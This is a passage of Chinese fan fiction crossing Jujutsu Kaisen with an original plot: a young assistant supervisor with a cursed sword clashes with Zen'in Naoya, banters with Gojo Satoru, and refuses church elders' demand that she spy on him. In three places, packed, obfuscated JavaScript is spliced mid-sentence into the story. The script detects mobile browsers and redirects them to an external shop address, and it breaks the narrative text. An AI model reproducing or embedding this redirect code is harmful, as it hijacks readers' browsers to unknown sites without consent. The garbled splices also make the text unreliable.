彼时时雨刚回国两个月的时间。虽然父母一直劝导她不要将村雨的责任扛在自己的肩上,她却还是想尽早找到村雨的刀鞘,以减轻父亲身上的负担。 曾经被称作“妖刀”的村雨,在百年前曾与一名少年建立过极深的羁绊,又在那人生命终了后陷入沉寂。这把自古以来就与里见家有着千丝万缕纠葛的妖刀直到数十年前才重现于世。 只是在当初的封印大战中失去了刀鞘的村雨虽然凶性不如当年,却仍带着极强的诅咒气息,一直需要父亲周期性的压制。如果能找到村雨的刀鞘的话,不仅村雨的实力能恢复如初,更能将父亲从这无止尽的封印边缘拉回。 所以时雨依旧不顾父母的劝阻,在提前接近两年修满大学学分毕业之后,毅然决然回了日本。虽然曾经在百年前几乎统治着半个国家的教会势力因为曾经四兽神的沉寂而逐渐退居幕后,但又在尾崎家如今的家主尾崎瑛在十年前被五狐神选中后,重新声势渐起。 于是时雨在尾崎瑛的安排下,以里见家旁支后代的身份,和“记忆修改”以及“物品修复”这样的普通术式,作为辅助监督加入了东京咒术高专,以更多在一线获取更多有关村雨刀鞘的消息。 只是无论是咒术届的高层,还是东京高专内部,对于她这个临时被安插进咒术高专的都持有着观望的微妙态度。出了名的咒术术师这些年大多在已知的咒术师家庭中传承,除了御三家以外,大多现存咒术师也都有咒术高专的背景。 哪怕是平时不起眼的辅助监督,也基本都是咒术高专毕业,只是因为没有继承优异的术式、或是因为不善于一线的战斗,才成为辅助监督承担更多后方的职能。 如同时雨这般,在海外到了已经是咒术高专毕业后的年纪才回国,既没有咒术高专背景,又没有过于出彩的术式,却经由御三家以外的势力推荐进入咒术界的存在,多少会被人怀疑动机。 时雨也知道自己出现的尴尬,只是恪守本分地在不太重要的任务中处理着自己的工作,用时间一点点累积着自己的信任值,倒是在这个连学生都要出任务的忙碌咒术界混成了一个闲人。 直到去年十二月长野的联合任务。 每年冬日的长野都是举世闻名的滑雪胜地。在雪山间肆意滑行带来的畅快、失去控制后的恐惧、对于雪山天然的敬畏……浓烈的情感由世界各地往来的游客散播,又以当地民俗文化中的本土妖怪为载体,诞生了特级假想咒灵雪女和被判定一级的雪童子。 雪女降下了漫山遍野的暴风雪,而雪童子却引诱旅人迷失于山野。从十二月伊始,长野已经有六人失踪。 雪童子虽然仅为一级,却拥有同时幻化多名分身的能力。在一月长野滑雪旺季迎来更多游客之前,上层迫不及待要解决当地的咒灵。 特级的雪女自然由五条悟当仁不让地接手,剩下的雪童子则是由东京和京都各派出了多名一级术师处理。 联合任务的临时驻地设在长野山脚一处神社下方的温泉旅馆。积雪被清理出几条狭窄的通道,掺杂着雪粒的风顺着山势灌下来,裹挟着松脂与湿雪的气味。窗外是从低垂的天幕纷纷洋洋落下的大雪,室内却因为暖气干燥得过分。 相较于忙碌的伊地知等资深辅助监督,时雨被分配到仅仅是巡查作为驻地的温泉旅馆周围,确保没有普通游客误入。 彼时的时雨只理性上虽然明白自己还未获取信任,偶尔却还是会因此感到些许烦躁。 生理期带来的不适在这空气不流通的旅馆里被放大,时雨脑中仿佛有人拿着闷棍一通乱搅,顺着心脏跳动的节奏带来一阵阵的钝痛。 借着下一轮巡查驻地的交接出了驻地,确认完驻地附近没有异动后,时雨并没有返身回到旅馆内,而是沿着被雪压低的林间小路,往外走了几百米。 两侧的杉树笔直高耸,沉静而肃穆地立于暴雪之中,只在枝头乌鸦扇动翅膀时落下几团雪块。 积雪覆盖了落叶,脚步声被积雪吞没,只留下风雪于树冠间呼啸而过的低鸣。路的尽头拐角是通往山上神社的台阶,浓重的雪雾将可见度降得极低,只有神社的鸟居在漫天飞雪间影影绰绰地抹上一点红色,像是临时从世界中切割出的安静一角。 时雨呼吸了一口混杂着松脂的湿润空气,按了按自己的太阳穴,心绪的烦闷却未得缓解。 杉树林间,积雪间被踩断的树枝发出脆响。 时雨倏然回头:“谁?” 从林间慢悠悠走出来的是一名个子高挑的年轻男人。 男人一身绣着银黑色暗纹的振袖羽织,双手掩于袖内。头发染了偏金的茶色,只有发根处新生的黑发昭示着男人本来的发色。男人不紧不慢地从林间走出,声音里带着漫不经心,“你又是谁?辅助监督?” 时雨不喜男人语气中的轻慢,只是冷淡回应,眼眸不带一分波澜,“里见时雨,东京咒术高专辅助监督。” “里见……”男人咀嚼了一遍这个名字,目光肆无忌惮地上下打量了一圈时雨,最后又在她浅金色的头发上停留了片刻,这才勾起了嘴角,扬起了一个堪称恶劣的笑:“哈,我知道你是谁了。你就是尾崎瑛口里的‘里见家后裔’?” 时雨轻蹙起的眉似乎让他兴味更浓了几分,“要我说呢,女人就好好在宅院里伺候男人就得了,还非要抛头露面做什么辅助监督碍眼,还要谎称自己是什么里见家的后裔。怎么,现在是个金发的女人就敢当自己是里见家那位伏姬了?” “你倒是也算有几分姿色,怎么,想要凭借着辅助监督的工作勾搭上谁?东京……不会是奔着要上五条悟的床去的吧?哈哈。” 时雨闭了闭眼,用仅剩的理智按捺住所有的不适与烦躁,转身准备直接离开。 “四兽神的时代都过去多久了,除了那五只狐狸,剩下三位不早就都不见踪影了吗?里见家的人更不是在百年前就死绝了吗?” 脚步一顿,时雨倏然回眸,琥珀色的眼眸不复平日的平和温暖,仿佛长野的暴风雪也在她眼中汇集:“道歉。” “哈?” “道歉。”时雨一字一顿地又重复了一遍,空气中的寒意仿佛又重了几分。 男人难以置信地挑眉:“真的假的?一个冒牌货还真是对里见家像狗一样的忠心啊?谁不知道百年前的里见莉芳是有记载的最后一任犬神附身者,又是出了名的年纪轻轻未婚而亡,上哪儿去来什么后裔?” 说着说着,眉眼又冷淡了下来,“最多不过是旁系的不能再旁系的血脉,也敢在本大爷面前叫嚣吗?怎么,以为有尾崎瑛护着就没人敢动你了?真是个不懂规矩的女人,看来……是要给你点教训了。” 下一瞬,寒光乍现。 匕首在话音将落的瞬间破空而来,带着极快的速度却又轻描淡写地滑向时雨的脸颊。 时雨同样反应很快地侧身闪避,右手伸于身后。 空中传来一声乌鸦的啼鸣,仿佛两边栖息于树上的鸟儿受到了惊吓。 男人不悦地看着时雨躲开了第一击,认真了几分,第二下角度刁钻地将匕首滑向了她的前胸。 只是预料中一名菜鸟新手辅助监督狼狈后撤的场景并未出现。 暗色的刀影横空出现,干净利落地挡下来着第二击,发出金属相撞的脆响,又被这漫天的风雪吞噬。 方才还在空中扑棱着翅膀的乌鸦,此刻已然化作时雨手中的长刃,泛着暗红色的光。 男人一愣,随即又嗤笑了一声,“也是,四兽神家的人,多少得有些动物杂耍的技能也不为奇。” 他后撤半步,眸光微暗,手却摆出了结印的姿势,熟稔地起手:“那就让你见识下,真正的术式好了。” 随着男人双手交扣,算得上庞大的咒力一点点汇集至男人的指尖。指尖所指的空气流动微妙地发生了变化,进入了新的节奏,而这个嚣张的金发男人悠然向前踏了半步,游刃有余地挥出了手中的匕首,像是笃定这次时雨的无法闪避。 时间系的术法。 时雨冷然捕捉着雪花勾勒的风的轨迹,左手食指轻弯,右手再次凌空反手挥出了一刀。风骤然变向。 原本设定好的动作如同加速流动的时钟被拨回了原本的节奏,男人有些错愕地看着自己失去了效用的术式,和因此受到反噬陷入了短暂冻结的动作,在下一瞬已然被时雨挥出的强烈刀风击中。 空气像是被无形的刃面切开,伴随着雪雾勾勒出的凌冽痕迹,茶金发的男人被风刃正面击中,整个人倒飞出去,重重撞在了身后不远处的杉树上。 ——咔嚓。 片刻后,树干断裂的声音接连响起,时雨面前数十米内的香杉树整齐划一地被村雨的风刃斩断。树上的积雪轰然坠落,掀起一片雪雾。 时雨立于原地,握住村雨的手微微发紧,手腕处的袖口飞快闪过了一抹微光,比平时略微急促了几分的呼吸又凝结了几分水雾。 “哦呀。” 失去了两侧杉树的遮挡,侧面通往神社的阶梯也失去了遮掩,露出了站立于台阶之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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听出家入硝子言语中的几分回护,时雨理智回笼些许,凭着优越的视力重新扫了眼地上的男人,和他在雪中露出的羽织腰带。腰带上重复旋转的暗纹,像是三道彼此追逐的涡流,在雪色里显得格外刺眼。 回忆起最开始了解咒术界时资料里的内容,时雨抿唇,半晌才不情不愿地扭过头,“是他无礼在先的。” 五条悟则是看戏一样笑出声,“这不是认出来了嘛。没错哦,那家伙是禅院家的人,现任禅院家家主的儿子,御三家之一的下任继承人哦。” 五条悟甚至看热闹不嫌事大地朝时雨比了个大拇指,“时雨看起来明明是班里最乖巧的优等生的样子,结果一出手就很能惹麻烦嘛。” 时雨思绪空白了瞬间,非常不合时宜地想着——之前明明连她的姓氏都没有好好叫过,一直都是“你”来“你”去的家伙,怎么忽然就这么熟稔地称呼上她的名字了。 “做了坏事总要遮掩下嘛。顺带提醒,按刚才的动静,酒店里那些老家伙们应该最多不过一分钟就会到这里了哦。”五条悟笑眯眯地拍了拍手,“时雨的咒术应该正好有用武之地,可以修改那家伙的记忆对吧?” 时雨颔首,一边走向地上躺着的男人,手指已经结印,咒力如水般顺着之间汇集向地上的男人。她这才又环顾了眼路两侧横倒一片的杉树林。 但凡用过咒力,就难掩咒力的残秽,至少这片林地里,仔细探查就不会错过她和禅院直哉的痕迹。 “那么,要帮忙吗?”五条悟的衣领拉到了下巴处,露出淡粉色的嘴唇,漫不经心地笑着。 时雨歪了歪脑袋,不解,但还是慢半拍地点了下头。 高挑的男人却像是高中生一样,扶着自己的墨镜朝时雨眨了眨眼,“求救信号接收,时雨要记得欠了Great Teacher五条一个超——大的人情哦。” 旁边的家入硝子已经像是预料到了什么一样,一脸难以直视地捂住了眼睛。 “术式反转——赫。” 当风雪重新回到正常的轨迹,原本还能勉强辨认出“被斩断”的林地,早已变成了一片彻底失序的废墟。 时雨木然着脸,和刚赶到的驻地人员一起,一脸一言难尽地看着一地的残骸。 “抱歉抱歉,刚看到后面有个小家伙,叫什么来着——哦对,雪童子。不小心动静就闹得大了点。”五条悟轻描淡写地挥了挥手,“那家伙刚正好路过,看来被我误伤了。时雨,用你的术式修复下这片林地吧。” 化作乌鸦的村雨悄然飞上更远的枝头,低头梳理着自己翅尖的羽毛,扑朔的翅膀扫下几点积雪,黑豆一般的眼睛悄然注视着手忙脚乱正从雪地里抬起昏迷不醒的男人的几名侍从,正抬手恢复路边林地的年轻女人,还有她身后一高一矮旁观着的两道人影。 5. 第 5 章 长野之后,时雨一度以为“五条悟祓除咒灵时误伤了禅院家少家主”这种离谱的事情,多少会被咒术界那群嗅觉敏锐的高层怀疑真实度,小心观察了一阵。 却没想到,这件事情似乎被轻描淡写地翻了页。 时雨后来知道,那名茶金发男人叫禅院直哉,向来有些傲慢,一张不留情的嘴哪怕在咒术界也得罪了不少人,偏偏对上五条悟的时候多少有几分奇怪的又爱又恨。 虽然明眼人都知道,只要五条悟愿意,在六眼的辅助下,咒力的操控可以精准到常人只能仰望的境界,祓除咒灵的时候误伤一名特一级术师这件事,荒谬到无人会相信。 但五条悟又是出了名的我行我素,所有人都只当禅院直哉不知道又抽了什么风出言不逊,被随心所欲的五条悟教训了一顿,就算是禅院家也没打算深入追究这件事,于是便也不了了之。 至于现场的咒力残秽中,和五条悟的咒力一同铺开的、属于那名东京高专的辅助监督的残余,也只被当作了施咒恢复现场时的痕迹。 没有人追究到她的头上,时雨自然也乐得轻松,只是默默欠下了五条悟的一个人情,为此被家入硝子同情地拍了拍肩膀。 而此刻,时雨正在春夏之交的暖阳里,坐在高专操场边的台阶上,一只手端着一杯外带的咖啡轻啜,又一边在摊在膝头的笔记本上记录着什么,时不时抬头看一眼操场上认真进行着体术训练的四名一年级生。 四人里体术最强的毋庸置疑是作为唯一女生的禅院真希,虽然咒力总量几乎只是普通人的水平,但因此赐予了她接近于天与咒缚的优越身体素质。加上比谁都要刻苦的锻炼体术,恐怕目前的高专里光凭体术而言,连高年级的同学都不及她。 熊猫作为第一个拥有成长能力的变异咒骸,拥有着与那笨拙外貌不相符的灵活,相较于蛮力派,战斗时也是不折不扣的头脑派。 而反观另外两名男生,不过短短的几个月时间,乙骨的体术已经飞速成长,至少已经可以有来有回地和真希打上好几轮了。 至于狗卷棘,作为一年级中唯一可以独立出任务的二级咒术师,在同期以体术见长的真希和熊猫、以及拥有特级咒灵的乙骨忧太面前,似乎显得有些不起眼,但无论是从灵活度还是技巧上来说,也是不折不扣的体术高手。 而论咒力的运用和实战的能力,在过去两周里带着几名一年级陆续出的几趟任务里看来,狗卷这位咒言师末裔也已经具有了初步独当一面的能力。 时雨把手中的咖啡放到身侧的台阶上,专心地记录着几人的各项数值,直到头顶浮过一道阴影,遮挡住了书写板上的日光。 “笔记做得很认真嘛。” 时雨下意识侧身,手肘不小心带到台阶上的咖啡。咖啡杯向着台阶下扑落,却被什么无形之物承托终止了下落的动态,最后又反向向着空中被吸引而去,被一只修长的手稳稳握住。 “还真是不小心啊,时雨——” 时雨仰首看着闲散站在台阶上的男人,面无表情:“如果五条先生没有突然出现的话,我的咖啡应该也好好在台阶上呆着。” 今天的五条悟依旧是穿着高专的长袖制服,眼前一如既往蒙着白色的绷带。闻言只是轻笑,一边迈着长腿坐在了时雨的身侧,递还时雨的咖啡,一边拉长着语调回应:“诶——咒灵出现的时候也不会和你好好打招呼的嘛,这可是来自前辈‘爱的提点’哦。” 这人明明坐在和她同一阶台阶上,伸直的那条腿已经落到了几节台阶之下。 时雨无言沉默两秒,接过五条悟递过来的咖啡,“您是在自比咒灵吗,五条先生。这是强词夺理吧。” “这不行吧,我要真成了咒灵,那也是最强的,咒术界的老橘子们恐怕要一起跪下来朝我哭诶——”不知道是不是想象到了什么画面,五条悟兀自笑了一阵。时雨看着身侧的五条悟,大概也能猜到这幅看似轻佻的模样不知道气坏过多少咒术界的上层。 “话说回来——”五条悟懒洋洋地撑着台阶仰头晒着太阳,看起来思维又跳跃去了别的方向,“如果咖啡真的洒到了地上的话,时雨的时间反转术式应该也可以恢复?那还可以喝吗?” 时雨:“……” “不行吗?” 时雨一眼难尽地盯着自己手里的咖啡,还是没有让五条悟的疑问落空,“理论上可以,但我选择再买一杯。”她木着脸放下自己的咖啡,“辅助监督的工资虽然不及咒术师,但好歹多买一杯咖啡的钱还是有的。” 忽然陷入了一阵短暂的沉默。 五条悟只是悠闲地坐在时雨身边,看着操场上的一年级生互相之间的比试,任由微风拂过他的面颊,带着白色的头发轻轻随风而动。 时雨侧头看了眼沐浴在阳光中的五条悟,难得看到他这么闲适的模样。毕竟咒术界的最强不是在任务的现场,就是在奔赴下一个任务的路上。 后脑下方的头发为了更方便缠起绷带而剃平,新生的发茬被阳光照射成暖绒绒的模样。 ——看上去手感很不错。 ——像是在晒太阳的八房一样。 她悄悄腹诽,又自如地将目光再度投到场上的几人身上。 上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290090|198490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一轮的较量已然接近尾声。真希和乙骨的组合,胜者依旧不言而喻;另一头的熊猫和狗卷,胜负时常五五开,这次是狗卷抓住了机会,趁着熊猫庞大身躯的视觉盲区,从身后飞跃骑到了熊猫的肩头,将他扑倒在了地上。 时雨在笔记本上认真地记录下对几人的观察,在狗卷的Q版小人身边又加上了几句小字的备注。 “刚就想说了,这是优等生的笔记吗?”五条悟歪着脑袋,低头瞄着时雨的笔记本,“每个人的特点和弱项都有好好记录诶,辅助监督的工作里不需要有这一项吧?” 完整写完最后一个字,时雨才回应:“您最近开始交由我安排一年级生的外出任务,我当然要了解每个人的专长,确保他们分配到的任务尽量匹配他们的能力,减少祓除的成本和伤亡。” “咒术界的老橘子们一般可不会有这么好心吧,惯例不过是按照档案记录下每个人大致的能力看着分配罢了,毕竟咒术师一直都是稀缺的情况嘛。至于伤亡,在咒术界不也再常见不过了吗?” 五条悟的嗓音忽然冷淡了下来,下撇的嘴唇隐约透露着不悦。 “您也知道我不过是个咒术界的新人,所以对于所谓‘咒术界的惯例’并不了解。”时雨不合时宜地想起了给心情不佳的八房顺毛时的场景,“既然您将这群孩子交付给我,我自然会尽最大的可能减少他们的伤亡。” “哇,这不是超可靠的嘛——”五条悟嘴角又上扬了起来,信手指了指时雨前一页的记录,“那旁边那页呢?发呆时候的涂鸦?” 空白的底页上,涂涂改改的痕迹上是繁复的咒文,隐约可窥见咒力的流转。 时雨手指摩挲了下那页纸,“还没有完成。到时候再给五条先生看。” 五条悟想到上次时雨绷着脸和他汇报帐被咒灵骗过的场景,猜到了什么:“还真是有干劲的年轻人啊。” “请不要用怪大叔的口吻说话。” “诶——?这是对我那天说你语气太大叔的反击吗?时雨也太记仇了吧。” 有一搭没一搭地聊了一会儿后,五条悟伸了个懒腰,从台阶上起身,活动着自己的身体。 在召唤一年级生们围过来之前,他想起了什么,低头嘱咐着时雨,“啊,伊地知说又到了每个季度一次的伏岩山咒灵清缴了哦。这次周末还是时雨陪我过去,绝佳的咒力控制锻炼时间!” “请不要把想偷懒说得这么理直气壮,五条先生。”合上笔记本,时雨紧跟着起身,“周六早上八点我会准时在宿舍楼下等您。” “好了好了,休息结束!继续训练——” 6. 第 6 章 “不出意外的话,我应该能比您早些结束。” 周六,时雨在高专载上五条悟,正往咒术总监部的方向开去。 在前往伏岩山咒灵清缴之前,恰逢两人每月一度的咒术总监部汇报时间。 时雨作为辅助监督要提交近一月的辅助监督日志,而五条悟则是要和高层进行每月一度的面谈。 五条悟像是融化的一滩猫,满脸不开心地靠在副驾上,“啊……时雨你说有没有什么咒术可以让人集体失去声音?这样我就不用每个月应付那群叽叽呱呱的老橘子半天了。” “如果您想的话,一个无量空处下去应该就能达到这个效果了。” 时雨已经修炼成功了面不改色无厘头接茬的技能。 “想过的哦。”副驾上男人的声音比平时低了些许,语气依旧随和,但多出了一点冷冽的意味,“但并不解决问题嘛,老橘子杀了一批又会有新的顶上,根子里都是一样的烂。迂腐又保守的笨蛋们,世袭的笨蛋们,这个所谓的被御三家支撑着的咒术界,不就是一群世袭又腐朽的家伙占据着地盘吗?” “容我提醒一句,五条家也是御三家之一。” 把自己也骂进去了啊五条先生。 “五条家也一样啊——”五条悟不爽地撇嘴,伸了个懒腰,又补了一句,“时雨那边的教会不也一样吗?都是一群烂橘子。” 百年前因为四兽神同时现世,而御三家又在加茂宪伦的恶名昭著后短暂失势,所以掌控着四兽神的教会势力一度在咒术界达到顶峰。但由于当年的封印大战四兽神均耗尽神力,百年间四兽神再未选中人类附身缔结契约,于是教会势力又逐渐衰弱。 直到十年前五狐神的重新降世,天平才略微又起复些许。 但无论是教会这边,还是咒术届御三家,确实也都是迂腐又保守的世袭派居多。 “虽然非常同感。但如果您过会儿还想早些结束去伏岩山的话,不如考虑先把自己毒哑片刻如何?”时雨轻轻叹气,将车缓缓停到咒术总监部门口,“那么,回见。” 咒术总监部所在的位置很是微妙,相较于处于郊区的咒术高专,这里的位置倒是更市中心一些。覆盖着多层结界的总监部在普通人眼里不过是普通的预约制才能进入的办公楼,只有拥有咒力的人才能透过最外界的帐,看到这里真正的模样。 从正门进入,映入眼帘的并非如同高专般古色古香的建筑,倒更偏向于西洋风的房屋,只是一侧的建筑里更多带了些和式的装饰,而另一旁侧的墙上则挂着不少西洋派的油画,多宣扬着神爱世人。 而在这座U型的三层建筑后面的花园里,则是一座精致华美的白色教堂。 作为辅助监督惯例提交报告的过程比时雨想象得还要快,总监部坐班的人只是随意地瞥了几眼时雨递交的报告,就挥挥手放她走了,连预想中可能会针对乙骨忧太和五条悟的任务的相关问询都没有。 时雨乐得清闲地回到门庭,正想着直接回车上去等五条悟,却被一道年轻的声音叫住。 “里见小姐。”年轻的侍从穿着不同于辅助监督制式的黑色长袍,胸口是银丝绣纹的十字架。他站在门庭通往教会长老们驻所的路口,像是早知道她会出现。 时雨确信自己并未见过这个人,侧首:“您是?” 男人朝着她欠身,并未回答她的问题,只是道:“长老们请您一叙。”像是看出她的犹豫,侍从又补了一句,“尾崎少爷也会在。” 时雨淡淡扫过墙上的时钟,距离她进门不过十分钟不到,五条悟那边想必还没有这么快结束。 于是她颔首,“带路吧。” 在蜿蜒的回廊里转了几个弯后,侍从带着时雨停在了一扇气派的大门前。金色的花纹如同古老仪式中的符号,层层叠叠地交错铺陈。侍从在门口叩了三下,随后推开了门,对时雨欠身比了请进的姿态。 房间里却不如走廊的亮堂,像是拉上了所有窗帘一般昏暗。 侍从只是温顺地扶着门,垂头看着地面的方向,避开了时雨的目光。 时雨沉吟片刻,踏进了门内。 大门在时雨身后轻轻碰上,陷入了更彻底的昏暗。红色的光纹顺着时雨的脚步散开,像是石子带起的一片涟漪,荡遍了整个不小的房间。 再抬眼时,时雨身后已然失去了门的踪迹,正置身于一个圆形的房间中央。环绕着她的,是十余扇暗红色的纸门,每扇门后都由昏暗的灯光勾勒出一道佝偻的身影。 类似于构建一个生得领域的法阵? 至于侍从原本说也会在场的尾崎瑛,显然并不是这些门背后身影中的一道。 看来,是来者不善。 “里见时雨——”一道算不上年轻的声音从其中一扇纸门背后传来。 时雨收回环视着房间的目光,微抬起了下巴。平日里在高专充作透明人的辅助监督,哪怕在各个咒灵祓除现场也显得超出年龄的平静淡然的模样,此刻却染上了几分矜贵倨傲来。 依旧是平淡的语气,却比往日的平易近人多了几分不容置喙:“想必各位请我过来,应该不是为了叙什么不存在的旧吧。” 门后的声音停顿了片刻,随即又环绕着响起。 “无礼的丫头——” “仔细看的话,咒力的总量确实比一般的术师高出很多。” “可惜并没有什么卓越的术式。” “外貌上来说,确实和当年那位有几分相似。” “难怪尾崎家的小子坚称她是里见家的后裔无疑。” “可惜不是犬神选中的孩子,身上也没有犬神的契约。” “那便只是个无用的旁系,没有什么值得培养的价值。” 时雨右手轻点自己的左腕,像是在按捺着什么:“如果只是这些‘众所周知’的评价的话,应该不必劳烦各位大费周章引我过来。” 于是环绕着的声音又休止了片刻,直到侧前方的一扇门亮起。 “听说你是在那位五条悟的身边做辅助监督?” 琥珀色的眼眸一眨不眨地看着那扇门,耐心极佳地等待着后文。 “得到那位我行我素的五条悟的信任,固然是你付出努力得到的回报。但你如今能够自由出入高专,能够在那位五条悟身边行动无阻,本质上,也是因为你里见的姓氏。若不是这一点,一个来历不明、术式模糊的辅助监督,早该被高层反复审查了。” 另一道缓慢而低沉的声音从另一扇门后响起:“那意味着,你首先属于教会。” “所以——?”时雨状似疑惑地挑眉,“诸位想要我做什么?” “你不需要做任何多余的事。”另一道声音接上,语气温和得近乎慈祥,“只要在必要的时候,将你所看到的,传回教会。” 去成为五条悟身边,属于教会的眼睛。 房间地面的红纹涌动,像是在等待着她的首肯。 时雨垂着眼,指尖在左腕处轻轻一点,倏然抬眸。 “恐怕要让各位失望了。五条悟的信任,应该不是我这个新人辅助监督能够随手得到的。”如果说时雨的前一句还更像是委婉的推脱,下一句就多少显得几分冷硬了,“更何况,我不是为了给任何人递话而成为的辅助监督。” 纸门后的气息骤然一变。 “放肆——” “你以为自己有拒绝的资格?” “里见时雨,”最初那道声音冷了下来,“你现在拥有的一切,都建立在教会的默许之上。” 时雨却已经失去了继续听下去的兴趣。 红色的光纹在地面上翻涌得更快,像是要顺着她的脚踝攀附而上。 时雨垂眸打量着地上的阵纹,思索着——如果是在咒术总监部的话,教会的人应该也不至于闹得动太大,不知道口袋里的几枚咒符够不够她闹出点动静来脱身。不是万不得已,她并不想要此刻让教会的人知道八房和村雨的存在。 空气忽然一沉,像是有什么本不该出现在此处的东西强行进入了这个类似生得领域的空间。 原本失去了踪迹的入口透出一道亮光,在暗色的房间里推开了一道门。 穿着白色教会长衣的年轻男人约莫二十多岁的模样,噙着无懈可击的微笑立于门口。 “这么热闹的聚会,都不等上我就直接开始了吗。” 房间内原本环绕着时雨的一圈门缓缓散开一个口子,朝着门的方向露出时雨的身影。 尾崎瑛笑容更盛几分:“怎么,现在教会已经有资格无由传唤审问里见家的人了?” “尾崎瑛,教会内部的判断,不需要得到你的批准。”一扇门后的声音冷冷响起。 “如果不能为教会所用,那么里见时雨的去向自然也应该被重新评估。” 尾崎瑛微微歪头,咀嚼着这两个字:“评估?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290091|198490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 地上的红色阵纹微微扭曲,尾崎瑛背后黑色的虚空中五道狐影轮廓垂落,暗红色的兽瞳齐齐注视着前方,巨大的压迫感扑面而来。 “那也容我提醒各位一句,四兽神家的代行事务,现在是由尾崎家负责。无论犬神是否现世,包括里见时雨在内,四兽神家族的人也都不是教会可以随意传唤的人。” 尾崎瑛这才将视线移向时雨,语气松快:“抱歉,来晚了一些。” 他单手扶着门,另一只手朝着时雨绅士地比了个方向,示意时雨跟着他离开。 松开门转身的最后瞬间,尾崎瑛笑容微敛,侧首补上了最后两句:“少把手伸得太长。就算我能容忍,五条悟可不是什么任由你们试探摆布的家伙。” 光线骤然一亮。 再眨眼时,时雨已经又重新站在了咒术总监部的走廊里,咒术总监部来往的脚步声把她重新拉回了现世。 身旁的尾崎瑛揉了揉眉,带着几分歉意:“抱歉,那群长老们自恃身份,又不知道你……总之,无论他们想让你做什么,无视就好。” “不用道歉。”时雨跟在尾崎瑛身后,慢悠悠朝着门口走去,“多谢你及时出现,帮我避免了一些麻烦。” 时雨抬起左手,右手轻勾起左腕内侧的袖口,露出腕间此刻浅色的复杂纹样,“如果真的不好脱身,我大概也只能放八房出来了。” 尾崎瑛失笑:“也是。咒术总监部虽然有结界,只有登记过的咒灵和式神才能入内。但这里曾经是百年前教会总部,这道结界也承袭于当年的结界。虽然近些年处于安全考量,几乎不会再未任何新的咒灵和式神进行登记,但八房早在百年前就已经是登记过的咒灵了。” 尾崎瑛凌空摸了摸身后一闪而过的狐影,“只要五狐能够出现的地方,八房自然也能够出入。如果他们今天真的逼迫了……你,咳,谁惊吓到谁还另说。” 时雨悄然注意到尾崎瑛的磕绊,摸了摸鼻子,“不介意的话,直接叫我的名字就好。” 尾崎瑛抓了抓自己的头发,儒雅温润的气质在凌乱的发丝中消散几分,“被发现了啊。实在是……有些不知道怎么称呼合适。” 面前的女生不过二十岁的模样,虽然只是见过寥寥数面,尾崎瑛自认并不是什么扭捏的人,但凡换做任何一个其他人,都能毫无负担地以名字相称。 只是…… 回想起女孩第一次登门造访,为了证实自己里见后裔的身份,一边挥手放出了传闻中已经在人间失去踪迹的犬神八房,一边熟稔地用现代科技拨通了一个直通大洋彼岸的视讯电话,露出视频那端那张熟悉的脸。 ——和四兽神宅邸书房中上任犬神附身者里见莉芳一模一样的脸。 他并不知道那天露出真身的五狐和看似温厚的犬神到底用他们自己兽神的语言沟通了什么,但由五狐传达的结论却是作不得半点伪。 里见时雨,是再不能更货真价实的里见后裔,是传闻中那位应该已于百年前身陨的大人的血脉无疑。 所以尽管在错愕中依旧按照里见时雨的意愿安排了她以辅助监督的身份进入了咒术高专,不妨碍他仍旧有些不知道该如何与时雨相处。 非要算起来……自己的曾祖父和那位里见莉芳大人曾共为同时代的四兽神附身者,勉强也称得上一句好友,哪里想得到百年之后那位的亲生女儿竟然会和自己出现在同一时代,甚至比自己还要年轻上几岁。 属实是不知道该如何称呼才不失礼。 懒怠纠结,尾崎瑛爽朗一笑,“那就失礼了,时雨。” 送时雨到门庭的位置,尾崎瑛想起什么,伸手往背后一探,从一只毛茸茸的小手中接过一个纸袋,递给了时雨,“差点忘了。听说你今天也会来教会,这是小葵带给你的,是她和五狐亲手做的松饼。” 尾崎瑛和尾崎葵,一脉双生的姐弟。虽然十年前是尾崎瑛被五狐神选中,但咒术界却也流传纷纭,传闻五狐最先选择的其实是尾崎葵而非尾崎瑛。 相较于有些不知道如何与时雨相处的尾崎瑛,同为女性的尾崎葵却从第一面就对时雨有着很自然的亲近。知道她第一次一个人长居东京,生活上也对她多有问候。 时雨接过,“替我谢谢葵。”又低下目光望向尾崎瑛的身后,“也谢谢你们啦。” 尾崎瑛的身后弹出几个毛茸茸的脑袋,又在听到时雨的道谢后有些羞涩地缩了回去。 7. 第 7 章 另一侧,五条悟站在咒术总监部另一侧的房间里,境遇和时雨有些微妙的相似。 五条悟插兜闲散地站在房间的中央,周围是十几扇暗色的纸门。每扇门后都透出昏暗的光,勾勒出一道道模糊的人影。那些人影环绕着他,透露出几分无声的审讯意味。 “关于乙骨忧太——”其中一扇门后传来苍老的声音。 “忧太又怎么了?”五条悟打断,语气轻飘飘的,“最近没有放出过那个特级咒灵乙香,也有老老实实出任务,学校里也认真又上进——堪称好学生模范了吧?比我当初老实多了诶,不愧是我的学生哦。” 我的学生。 暗含着警告的重音变化引起暗处窸窣的议论声,很快有人换了话题。 